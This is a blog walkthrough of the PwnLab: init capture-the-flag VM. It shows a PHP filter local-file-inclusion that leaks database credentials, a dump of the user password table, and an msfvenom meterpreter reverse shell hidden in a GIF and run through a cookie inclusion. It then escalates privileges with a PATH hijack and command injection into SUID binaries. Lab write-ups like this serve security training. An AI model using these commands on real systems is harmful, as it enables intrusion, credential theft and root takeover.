Wednesday, August 31, 2016

PwnLab: init Vulnhub Walkthrough

Information Gathering

First, I run a TCP Scan to enumerate the host.
$nmap -vv -n -Pn -p- -sV -A 192.168.56.103

PORT      STATE SERVICE REASON         VERSION
80/tcp    open  http    syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          37203/udp  status
|_  100024  1          50129/tcp  status
3306/tcp  open  mysql   syn-ack ttl 64 MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 53
|   Version: .5.47-0+deb8u1
|   Thread ID: 39
|   Capabilities flags: 63487
|   Some Capabilities: LongPassword, Support41Auth, SupportsCompression, Speaks41ProtocolNew, SupportsLoadDataLocal, FoundRows, SupportsTransactions, ConnectWithDatabase, IgnoreSigpipes, LongColumnFlag, InteractiveClient, Speaks41ProtocolOld, ODBCClient, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn
|   Status: Autocommit
|_  Salt: :LQ3IVT$U^Y&O>%?LCI$
50129/tcp open  status  syn-ack ttl 64 1 (RPC #100024)
MAC Address: 08:00:27:94:0C:7C (Oracle VirtualBox virtual NIC)

Local Privilege

With the help of an article (https://diablohorn.com/2010/01/16/interesting-local-file-inclusion-method/), I was able to find a PHP local file inclusion. I was then able to curl the page information and base64 decode it.
curl http://192.168.56.103/?page=php://filter/convert.base64-encode/resource=config

Config.php
<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
I also pulled down the source for the upload page, to find how to bypass filtering and upload a shell.
upload.php

<html>
    <body>
        <form action='' method='post' enctype='multipart/form-data'>
            <input type='file' name='file' id='file' />
            <input type='submit' name='submit' value='Upload'/>
        </form>
    </body>
</html>
<?php 
if(isset($_POST['submit'])) {
    if ($_FILES['file']['error'] <= 0) {
        $filename  = $_FILES['file']['name'];
        $filetype  = $_FILES['file']['type'];
        $uploaddir = 'upload/';
        $file_ext  = strrchr($filename, '.');
        $imageinfo = getimagesize($_FILES['file']['tmp_name']);
        $whitelist = array(".jpg",".jpeg",".gif",".png"); 

        if (!(in_array($file_ext, $whitelist))) {
            die('Not allowed extension, please upload images only.');
        }

        if(strpos($filetype,'image') === false) {
            die('Error 001');
        }

        if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
            die('Error 002');
        }

        if(substr_count($filetype, '/')>1){
            die('Error 003');
        }

        $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
            echo "<img src=\"".$uploadfile."\"><br />";
        } else {
            die('Error 4');
        }
    }
}

?>
From upload.php I learn that only users that are logged in are authorized to upload. So I login to mysql using the credentials from config.php and dump the users table. They are base64 encoded, so I decode those as well.
root@kali:~/Desktop# mysql -u root -p -h 192.168.56.103
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1558
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.00 sec)

mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)

mysql> Select * from users;
+------+------------------+---------------+
| user | pass             | Base64 Decode |
+------+------------------+---------------+
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy    |
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I    |
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo    |
+------+------------------+---------------+
3 rows in set (0.00 sec)
Knowing that only image types can be uploaded, I embed a php meterpreter into a malicious gif using msfvenom.
root@kali:~/Desktop# echo GIF98 > shell.gif
root@kali:~/Desktop# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=443 >> shell.gif
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 26801 bytes
I also found an LFI in index.php that will help us execute that shell.
index.php
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
...
I then upload the shell.gif into the uploader, and get the id of the file by browsing to the directory (http://192.168.56.103/upload/). Then I browse to index.php and tamper with the lang cookie using a proxy to invoke my malicious gif.

Privilege Escalation

This creates a meterpreter session and I use python to gain a TTY.
meterpreter > shell
Process 1435 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty;pty.spawn("/bin/bash")'
I switch users to kane with credential reuse. Once I become kane, I notice a SUID binary in kane's home folder owned by mike. I run strings on the executable to potentially see what is going on.
kane@pwnlab:~$ ls -lah
ls -lah
total 28K
drwxr-x--- 2 kane kane 4.0K Mar 17 13:04 .
drwxr-xr-x 6 root root 4.0K Mar 17 10:09 ..
-rw-r--r-- 1 kane kane  220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3.5K Mar 17 10:09 .bashrc
-rwsr-sr-x 1 mike mike 5.1K Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17 10:09 .profile
kane@pwnlab:~$ strings msgmike
...
cat /home/mike/msg.txt
...
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
By changing the order of the PATH execution, I can create my own cat that will run a shell as mike.
kane@pwnlab:~$ echo "/bin/sh" > cat       
echo "/bin/sh" > cat
kane@pwnlab:~$ chmod 777 cat
chmod 777 cat
kane@pwnlab:~$ export PATH=.:$PATH
export PATH=.:$PATH
kane@pwnlab:~$ echo $PATH
echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ./msgmike
./msgmike
$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
Now that I am mike, I move to the mike directory. where I find another SUID binary, but this time it is for root. I run strings to understand what it is doing. I come to learn that it is doing a basic string substitution that is a perfect basic command execution.
$ cd /home/mike
$ ls -lah
total 28K
drwxr-x--- 2 mike mike 4.0K Mar 17 15:19 .
drwxr-xr-x 6 root root 4.0K Mar 17 10:09 ..
-rw-r--r-- 1 mike mike  220 Mar 17 10:08 .bash_logout
-rw-r--r-- 1 mike mike 3.5K Mar 17 10:08 .bashrc
-rwsr-sr-x 1 root root 5.3K Mar 17 13:07 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17 10:08 .profile
$ strings msg2root
...
Message for root: 
/bin/echo %s >> /root/messages.txt
...
I append a shell to escalate my privilege to root. Then I am able to find and print the flag.
$ ./msg2root
./msg2root
Message for root: test;/bin/sh
test;/bin/sh
test
# id
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
# ls -lah /root
ls -lah /root
total 20K
drwx------  2 root root 4.0K Mar 17 15:17 .
drwxr-xr-x 21 root root 4.0K Mar 17 09:13 ..
lrwxrwxrwx  1 root root    9 Mar 17 10:06 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
----------  1 root root 1.8K Mar 17 15:17 flag.txt
lrwxrwxrwx  1 root root    9 Mar 17 13:10 messages.txt -> /dev/null
lrwxrwxrwx  1 root root    9 Mar 17 13:10 .mysql_history -> /dev/null
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
# cat /root/flag.txt
cat /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'
# 
Special thanks to Claor for making this VM. That early PHP LFI was really interesting!

No comments:

Post a Comment